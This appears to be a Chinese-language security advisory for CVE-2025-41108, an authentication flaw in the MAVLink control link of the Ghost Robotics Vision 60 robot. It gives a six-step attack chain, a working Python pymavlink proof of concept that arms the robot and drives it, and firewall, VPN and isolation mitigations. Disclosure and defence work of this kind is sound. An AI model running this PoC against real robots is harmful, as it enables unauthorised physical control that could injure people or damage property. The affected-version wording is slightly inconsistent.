CVE-2025-41108 Ghost Robotics Vision 60通信协议认证缺失漏洞

漏洞信息

漏洞编号

CVE-2025-41108

漏洞类型

身份认证缺失/未加密通信协议

CVSS评分

9.8 严重

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

Ghost Robotics Vision 60

漏洞概述

CVE-2025-41108是Ghost Robotics Vision 60四足无人地面车辆（UGV）通信协议中的一个严重安全漏洞。该漏洞存在于Vision 60 v0.27.2及更早版本中，其通信协议缺乏必要的加密和身份验证机制，允许攻击者从外部攻击站冒充合法的控制站（平板设备），向机器人发送任意控制命令，从而获得对机器人的未授权完全控制。

该漏洞的核心问题在于Vision 60与控制站之间使用的MAVLink通信协议未实施任何加密或认证保护。MAVLink是一种广泛使用且公开文档化的无人机/机器人通信协议，攻击者可以轻松获取协议规范并构建攻击工具。攻击者只需捕获合法控制站与机器人之间的通信流量，即可复制并重放任意有效命令，实现对机器人的完全控制。

Vision 60支持两种远程连接方式：Wi-Fi和4G/LTE，这进一步扩大了攻击面。攻击者无需物理接触机器人，仅需在网络可达范围内即可实施攻击。该漏洞对机密性、完整性和可用性均产生高影响，CVSS评分达到9.8分（满分10分），属于最高严重等级。攻击者可完全控制机器人的运动、传感器及执行机构，可能导致物理损害、敏感数据泄露或将机器人武器化用于恶意目的，对公共安全构成严重威胁。

技术细节

该漏洞的技术根源在于Vision 60机器人与其控制站（平板设备）之间通信协议的设计缺陷。具体技术细节如下：

1. **协议选择**：Vision 60采用MAVLink（Micro Air Vehicle Link）协议作为控制站与机器人之间的通信协议。MAVLink是一种轻量级的消息传递协议，广泛应用于无人机和机器人领域，其协议规范完全公开。

2. **缺乏加密机制**：通信过程中未使用任何加密手段（如TLS/SSL或AES），所有数据以明文形式在网络上传输。这使得攻击者可以通过网络嗅探工具（如Wireshark）轻松捕获完整的通信流量。

3. **缺乏身份验证**：协议未实施任何身份验证机制（如数字签名、证书认证或共享密钥），机器人无法验证接收到的命令是否来自合法的控制站。攻击者只需知道MAVLink消息格式，即可构造并发送任意有效命令。

4. **攻击利用方式**：
- 攻击者首先通过网络嗅探捕获合法控制站与机器人之间的MAVLink通信流量；
- 分析捕获的数据包，提取有效的消息格式和命令结构；
- 使用MAVLink库（如pymavlink）构造包含恶意命令的数据包；
- 通过Wi-Fi或4G/LTE网络向机器人发送伪造的命令数据包；
- 由于缺乏认证机制，机器人将接受并执行这些命令，攻击者获得完全控制权。

5. **攻击影响**：成功利用后，攻击者可完全控制机器人的运动系统、传感器和执行机构，可能导致机器人被恶意操控、敏感数据泄露或用于物理破坏。

攻击链分析

STEP 1

步骤1：网络侦察

攻击者扫描Wi-Fi或4G/LTE网络，识别处于在线状态的Ghost Robotics Vision 60机器人及其IP地址。Vision 60默认使用MAVLink协议在端口14550上进行通信。

STEP 2

步骤2：流量捕获

攻击者使用网络嗅探工具（如Wireshark、tcpdump）捕获合法控制站与机器人之间的MAVLink通信流量，分析消息格式和命令结构。

STEP 3

步骤3：协议分析

由于MAVLink是公开文档化的协议，攻击者利用pymavlink等开源库分析捕获的数据包，理解消息结构和命令格式。

STEP 4

步骤4：构造恶意命令

攻击者使用MAVLink库构造包含恶意控制命令的数据包，如运动控制、传感器数据读取、系统配置修改等。

STEP 5

步骤5：发送伪造命令

攻击者通过Wi-Fi或4G/LTE网络将构造的MAVLink数据包发送到机器人。由于缺乏认证机制，机器人接受并执行这些命令。

STEP 6

步骤6：获得完全控制

攻击者成功获得对Vision 60机器人的未授权完全控制，可操控机器人运动、读取传感器数据或执行其他恶意操作。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

#!/usr/bin/env python3
# CVE-2025-41108 - Ghost Robotics Vision 60 MAVLink Protocol Exploitation PoC
# This PoC demonstrates how an attacker can send unauthorized commands
# to a Ghost Robotics Vision 60 robot by exploiting the lack of
# authentication and encryption in the MAVLink communication protocol.

import socket
import time
from pymavlink import mavutil

# Target robot IP address (Wi-Fi or 4G/LTE network)
ROBOT_IP = "192.168.1.100"  # Default Vision 60 control station IP
ROBOT_PORT = 14550  # Default MAVLink port

# Create MAVLink connection (no authentication required)
master = mavutil.mavlink_connection(f'udp:{ROBOT_IP}:{ROBOT_PORT}')

# Wait for heartbeat from the robot
print("[*] Waiting for robot heartbeat...")
master.wait_heartbeat()
print(f"[+] Connected to robot system: {master.target_system}")

# Send arm/disarm command to demonstrate unauthorized control
def send_arm_command(arm_status=1):
    """Send ARM/DISARM command to the robot"""
    master.mav.command_long_send(
        master.target_system,
        master.target_component,
        mavutil.mavlink.MAV_CMD_COMPONENT_ARM_DISARM,
        0,  # confirmation
        arm_status,  # 1 = arm, 0 = disarm
        0, 0, 0, 0, 0, 0
    )
    print(f"[+] ARM command sent: {'ARMED' if arm_status else 'DISARMED'}")

# Send movement command to demonstrate full control
def send_movement_command(velocity_x, velocity_y, velocity_z):
    """Send velocity command to control robot movement"""
    master.mav.set_position_target_local_ned_send(
        0,  # time_boot_ms
        master.target_system,
        master.target_component,
        mavutil.mavlink.MAV_FRAME_LOCAL_NED,
        0b0000111111000111,  # type_mask (only velocities enabled)
        0, 0, 0,  # x, y, z positions
        velocity_x, velocity_y, velocity_z,  # vx, vy, vz velocities
        0, 0, 0,  # afx, afy, afz accelerations
        0, 0  # yaw, yaw_rate
    )
    print(f"[+] Movement command sent: vx={velocity_x}, vy={velocity_y}, vz={velocity_z}")

# Main exploitation sequence
if __name__ == "__main__":
    print("[*] CVE-2025-41108 Exploitation PoC")
    print("[*] Target: Ghost Robotics Vision 60")
    print("[*] Exploiting lack of authentication in MAVLink protocol...")

    # Step 1: Arm the robot without authorization
    send_arm_command(1)
    time.sleep(2)

    # Step 2: Send movement commands
    send_movement_command(1.0, 0.0, 0.0)  # Move forward
    time.sleep(3)
    send_movement_command(0.0, 0.0, 0.0)  # Stop
    time.sleep(1)

    # Step 3: Disarm the robot
    send_arm_command(0)
    print("[+] Exploitation complete - unauthorized control demonstrated")

影响范围

Ghost Robotics Vision 60 < v0.27.2

防御指南

临时缓解措施

在等待官方补丁发布期间，建议采取以下临时缓解措施：1）限制Vision 60机器人的网络访问，仅允许已知授权的控制站IP地址进行通信；2）部署网络防火墙规则，阻止来自未知IP的MAVLink流量（端口14550）；3）使用VPN隧道加密所有与机器人的通信流量；4）在Wi-Fi网络中启用WPA3加密并使用强密码；5）定期监控网络流量，检测异常的MAVLink命令或未授权的访问尝试；6）考虑将机器人部署在物理隔离的网络环境中，仅在必要时通过安全通道进行远程控制。